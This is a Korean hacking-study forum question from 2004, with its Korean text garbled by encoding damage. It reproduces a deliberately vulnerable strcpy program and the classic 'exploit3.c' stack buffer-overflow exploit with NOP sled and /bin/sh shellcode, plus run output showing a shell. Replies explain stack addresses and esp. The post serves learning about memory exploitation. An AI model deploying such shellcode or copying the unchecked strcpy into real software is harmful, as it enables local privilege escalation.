ý ŷ

 1576, 74/79 ȸ  α  
   kkangy
   bofؼ ^^ ƿ.^^

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=134 []


ϱ ʺԴϴ.^^

bof ִµ.켱 ̰.^^


vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}


------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
̰ dz?

NOP ϱ offset 1000 ϸ鼭 ִ..

ƴ ظ ߳?^^

׸ ...^^;;;;(˼մϴ. .^^)

켱 malloc ߻ ޸ dumpcode ôµ 0x08xxxxxxκ̰ addr ּҴ bffffxxx̴ ̿ ޸𸮿  κ ڼ ˰ ͳ׿. ׸ ּ ̰ ...
׸ ŷ α׷ buffer ޸ ġ Ǵ°ǰ?^^

get_sp ּҴ κΰ?

׸ exploit ޸𸮿 ִ ¿ α׷ Ǵ ΰ?

get_sp-offset̶ ŷ α׷ buffer Ű ;ƴѰ? ƴϸ exploit ޸𸮿 ִ shellcode Ű ǰ?^^

ʹ׿..^^

ذ  ⿡ øϴ.

亯Ź帳ϴ.^^ ϰ ִ л ø...^^

  Hit : 4969     Date : 2004/02/23 07:01



    
-_- 1. մϴ. eggshell غ ص帮 ͳ׿. ȯ溯 Ͻø ˴ϴ. :) 2004/02/27
-_- 2. malloc() function ̿ Ҵ heap ̶ Ҹ, Ͻ addr ּҴ stack ̶ θϴ. 2004/02/27
-_- ȯ溯 stack Ͽ Ÿ DZ ּҰ 0xbfffxxxx ˴ϴ. 2004/02/27
-_- get_sp() ּҴ esp, ٽ ؼ stack address Դϴ. ȯ溯 stack ڸ´ٰ ߾, 2004/02/27
-_- ̸ ̿ ϱ ؼ shellcode address ʿϱ stack ּҸ esp ° Դϴ. 2004/02/27
-_- esp ͸ . 2004/02/27
-_- 3. exploit α׷ Ǵ κ ø system() Լ ο ŵϴ. ̰ ν α׷ putenv() Լ 2004/02/27
-_- Ѱ ״ ִ° Դϴ. 2004/02/27
-_- 4. offset ʴ´ٸ get_sp() Լ ȯ ϰ ˴ϴ. 2004/02/27
116   ͸ ŷߴ ߴ ˰ ;[2]     trance
04/06 4485
115   ̰ ŷ?[ϲ ַ][3]     netdbs
04/06 4588
114   ̷ [4]     aegis2k
03/26 5018
113   ϴ ٸ Ҽ...?[3]     makkarng
03/24 4250
112   ; ʹ ;[3]     bluskycomplex
03/21 4603
111   Exploit Ե ̰Թ!? ͽ÷ΰװ...?[2]     kwc1119q
03/20 4686
110   콺óϴµ[2]     speedll
03/19 4317
109   ׹濡µ[5]     aladdin2
03/17 5472
108     [re] ׹濡µ     aladdin2
03/19 4583
107       [re] ׹濡µ[1]     aladdin2
03/19 4655
106   upxȭϿ ε...     marka
03/13 4103
105     [re] upxȭϿ ε...     LivTyler
03/13 3883
  bofؼ ^^ ƿ.^^[9]     kkangy
02/23 4968
103   .. ˼ѵ .. ̱ ּ .[4]     psd4d
02/21 4580
102   ŷ ߽ϴ.. [3]     counter-tr
02/20 5174
101   ݼ Ŷ?[6]     icerain84
02/17 5221
100   ۸۴ ð 亯 Ź帳ϴ.[3]     sejin4951
02/17 4188
99   ̷͵ ֳ..[1]     spritjs
02/15 5326
98   ŷ ؼ ñ ִµ[5]     ƺ
02/04 5807
97   Sniffer 뿡 Ͽ..[1]     Ŀ
01/30 4868
[1]..[71][72][73] 74 [75][76][77][78][79]

Copyright 1999-2026 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org